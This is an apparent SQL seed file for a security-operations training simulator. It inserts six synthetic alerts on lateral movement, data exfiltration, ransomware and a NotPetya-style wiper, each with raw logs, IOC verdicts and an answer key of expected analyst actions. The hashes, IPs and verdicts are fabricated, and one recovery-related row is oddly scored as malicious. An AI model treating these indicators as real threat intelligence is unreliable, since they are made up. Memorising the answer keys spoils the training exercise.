INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(973, 'Lateral Movement Detected Across Network - Step 4', 'high', 'Network Traffic Analysis', 'An attacker is using stolen credentials to move laterally across the network, aiming to spread ransomware by encrypting files on additional systems.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"source_ip\":\"10.20.30.40\",\"destination_ip\":\"192.168.1.15\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"j.doe\",\"action\":\"login\",\"status\":\"success\",\"file_accessed\":\"C:\\\\Users\\\\Public\\\\Documents\\\\confidential.txt\",\"malware_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"protocol\":\"SMB\",\"event_id\":4624,\"logon_type\":3,\"description\":\"Successful network logon using SMB protocol with stolen credentials.\"}', '2026-01-17 03:39:18', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP targeted by lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Credentials potentially compromised.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(974, 'Data Exfiltration Alert Triggered', 'critical', 'Data Loss Prevention (DLP) System', 'The DLP system detected an attempt to exfiltrate sensitive data from an internal host to an external server, which could precede data encryption by the attacker.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:25:30Z\",\"event_id\":\"EXFIL-20231005-1245\",\"source_ip\":\"10.0.1.15\",\"destination_ip\":\"203.0.113.50\",\"filename\":\"confidential_data.zip\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"j.doe\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"message\":\"Attempted data exfiltration detected and blocked by DLP system.\"}', '2026-01-17 03:39:18', '2026-02-16 17:52:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous data breaches.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive data potentially targeted for exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"malicious\",\"details\":\"Hash linked to known data exfiltration malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"Employee username involved in the data exfiltration attempt.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:25:30Z\\\",\\\"event_id\\\":\\\"EXFIL-20231005-1245\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"j.doe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:25:30Z\\\",\\\"event_id\\\":\\\"EXFIL-20231005-1245\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"j.doe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:25:30Z\\\",\\\"event_id\\\":\\\"EXFIL-20231005-1245\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"j.doe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:25:30Z\\\",\\\"event_id\\\":\\\"EXFIL-20231005-1245\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"j.doe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.663Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:25:30Z\\\",\\\"event_id\\\":\\\"EXFIL-20231005-1245\\\",\\\"source_ip\\\":\\\"10.0.1.15\\\",\\\"destination_ip\\\":\\\"203.0.113.50\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"j.doe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"message\\\":\\\"Attempted data exfiltration detected and blocked by DLP system.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(975, 'Ransom Note Discovered', 'critical', 'Affected System Files', 'A ransom note was discovered on the affected system, indicating a demand for payment to receive decryption keys. The note challenges the company to decide whether to pay the ransom or restore data from backups. The presence of this note indicates that encryption has likely occurred, and immediate actions are necessary to prevent further damage.', 'Impact', 'T1486: Data Encrypted for Impact', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:22:56Z\",\"event_type\":\"file_created\",\"hostname\":\"compromised-device.local\",\"username\":\"jdoe\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\RANSOM_NOTE.txt\",\"file_hash\":\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\",\"attacker_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.105\",\"note_content\":\"Your files have been encrypted! Pay 1 Bitcoin to receive the decryption keys.\",\"associated_malicious_file\":\"encryptor.exe\",\"malicious_file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-01-17 03:39:18', '2026-02-16 17:52:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\RANSOM_NOTE.txt\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Ransom note file indicating encryption of files.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransom notes.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address linked to ransomware operations.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash related to the encryption malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.664Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:56Z\\\",\\\"event_type\\\":\\\"file_created\\\",\\\"hostname\\\":\\\"compromised-device.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\Documents\\\\\\\\RANSOM_NOTE.txt\\\",\\\"file_hash\\\":\\\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"note_content\\\":\\\"Your files have been encrypted! Pay 1 Bitcoin to receive the decryption keys.\\\",\\\"associated_malicious_file\\\":\\\"encryptor.exe\\\",\\\"malicious_file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.664Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:56Z\\\",\\\"event_type\\\":\\\"file_created\\\",\\\"hostname\\\":\\\"compromised-device.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\Documents\\\\\\\\RANSOM_NOTE.txt\\\",\\\"file_hash\\\":\\\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"note_content\\\":\\\"Your files have been encrypted! Pay 1 Bitcoin to receive the decryption keys.\\\",\\\"associated_malicious_file\\\":\\\"encryptor.exe\\\",\\\"malicious_file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.664Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:56Z\\\",\\\"event_type\\\":\\\"file_created\\\",\\\"hostname\\\":\\\"compromised-device.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\Documents\\\\\\\\RANSOM_NOTE.txt\\\",\\\"file_hash\\\":\\\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"note_content\\\":\\\"Your files have been encrypted! Pay 1 Bitcoin to receive the decryption keys.\\\",\\\"associated_malicious_file\\\":\\\"encryptor.exe\\\",\\\"malicious_file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.664Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:56Z\\\",\\\"event_type\\\":\\\"file_created\\\",\\\"hostname\\\":\\\"compromised-device.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\Documents\\\\\\\\RANSOM_NOTE.txt\\\",\\\"file_hash\\\":\\\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"note_content\\\":\\\"Your files have been encrypted! Pay 1 Bitcoin to receive the decryption keys.\\\",\\\"associated_malicious_file\\\":\\\"encryptor.exe\\\",\\\"malicious_file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.664Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:56Z\\\",\\\"event_type\\\":\\\"file_created\\\",\\\"hostname\\\":\\\"compromised-device.local\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\Documents\\\\\\\\RANSOM_NOTE.txt\\\",\\\"file_hash\\\":\\\"3fa4d8e5a9fbb2c4d9c8e3cbe8d8d3e7\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.105\\\",\\\"note_content\\\":\\\"Your files have been encrypted! Pay 1 Bitcoin to receive the decryption keys.\\\",\\\"associated_malicious_file\\\":\\\"encryptor.exe\\\",\\\"malicious_file_hash\\\":\\\"b1946ac92492d2347c6235b4d2611184\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(976, 'Initial Network Breach Detected', 'critical', 'Firewall logs', 'A breach was detected through a compromised software update, indicative of a supply chain attack. This aligns with Sandworm\'s known tactics of targeting critical infrastructures using destructive methods. The initial access was likely aimed at causing widespread disruption in Maersk\'s network.', 'Destructive Attack', 'T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event\":\"network_connection\",\"source_ip\":\"5.188.86.123\",\"destination_ip\":\"192.168.1.10\",\"firewall_action\":\"allow\",\"protocol\":\"TCP\",\"destination_port\":443,\"file_name\":\"update_software_v1.4.exe\",\"file_hash\":\"b6f6f1c4abc1234f7d1e9b0c8e5d9a1a\",\"user\":\"system_update\",\"event_id\":\"FW123456789\"}', '2026-01-17 03:39:49', '2026-02-16 17:51:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"5.188.86.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Sandworm APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of Maersk\'s network.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"update_software_v1.4.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"File associated with the initial breach through a compromised update.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b6f6f1c4abc1234f7d1e9b0c8e5d9a1a\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Sandworm.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(977, 'Malware Execution and Spread - NotPetya Detected', 'critical', 'Endpoint detection systems', 'The NotPetya malware has been executed on the network, identified through rapid spreading and data wiping across multiple systems. Immediate containment and analysis are required to prevent further damage.', 'Wiper Malware', 'T1485 - Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"evt-4567\",\"source_ip\":\"185.92.220.45\",\"destination_ip\":\"192.168.1.25\",\"hostname\":\"workstation-01\",\"username\":\"jdoe\",\"malware_name\":\"NotPetya\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\notpetya.exe\",\"file_hash\":\"71c4025dd989b0c6b9b3ed6e5b4c3b5d\",\"action\":\"executed\",\"status\":\"success\"}', '2026-01-17 03:39:49', '2026-02-16 17:51:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with Sandworm operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised endpoint\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\notpetya.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint detection systems\",\"verdict\":\"malicious\",\"details\":\"Known NotPetya executable\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"71c4025dd989b0c6b9b3ed6e5b4c3b5d\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Hash associated with NotPetya\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(978, 'Unexpected Resilience Point Discovered', 'high', 'Domain controller logs from Ghana', 'During the recovery process, an unexpected resilience point was identified in a domain controller located in Ghana. This controller played a crucial role in enabling Maersk\'s recovery efforts, emphasizing the significance of maintaining offline backups. The threat actor, Sandworm, known for destructive attacks, was involved in the incident.', 'Incident Response', 'T1485: Data Destruction', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:34:56Z\",\"event_source\":\"domain_controller\",\"location\":\"Ghana\",\"internal_ip\":\"10.25.36.48\",\"external_ip\":\"203.0.113.45\",\"username\":\"admin.ghana\",\"filename\":\"notpetya_recovery_tool.exe\",\"hash\":\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\",\"action\":\"file_restored\",\"status\":\"success\"}', '2026-01-17 03:39:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Sandworm activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash linked to NotPetya recovery operations\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin.ghana\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate domain admin account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.668Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:34:56Z\\\",\\\"event_source\\\":\\\"domain_controller\\\",\\\"location\\\":\\\"Ghana\\\",\\\"internal_ip\\\":\\\"10.25.36.48\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin.ghana\\\",\\\"filename\\\":\\\"notpetya_recovery_tool.exe\\\",\\\"hash\\\":\\\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\\\",\\\"action\\\":\\\"file_restored\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.668Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:34:56Z\\\",\\\"event_source\\\":\\\"domain_controller\\\",\\\"location\\\":\\\"Ghana\\\",\\\"internal_ip\\\":\\\"10.25.36.48\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin.ghana\\\",\\\"filename\\\":\\\"notpetya_recovery_tool.exe\\\",\\\"hash\\\":\\\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\\\",\\\"action\\\":\\\"file_restored\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.668Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:34:56Z\\\",\\\"event_source\\\":\\\"domain_controller\\\",\\\"location\\\":\\\"Ghana\\\",\\\"internal_ip\\\":\\\"10.25.36.48\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin.ghana\\\",\\\"filename\\\":\\\"notpetya_recovery_tool.exe\\\",\\\"hash\\\":\\\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\\\",\\\"action\\\":\\\"file_restored\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.668Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:34:56Z\\\",\\\"event_source\\\":\\\"domain_controller\\\",\\\"location\\\":\\\"Ghana\\\",\\\"internal_ip\\\":\\\"10.25.36.48\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin.ghana\\\",\\\"filename\\\":\\\"notpetya_recovery_tool.exe\\\",\\\"hash\\\":\\\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\\\",\\\"action\\\":\\\"file_restored\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.668Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:34:56Z\\\",\\\"event_source\\\":\\\"domain_controller\\\",\\\"location\\\":\\\"Ghana\\\",\\\"internal_ip\\\":\\\"10.25.36.48\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"admin.ghana\\\",\\\"filename\\\":\\\"notpetya_recovery_tool.exe\\\",\\\"hash\\\":\\\"71b6a493388e7d0b6e1c8fbe5c0c4b5b\\\",\\\"action\\\":\\\"file_restored\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
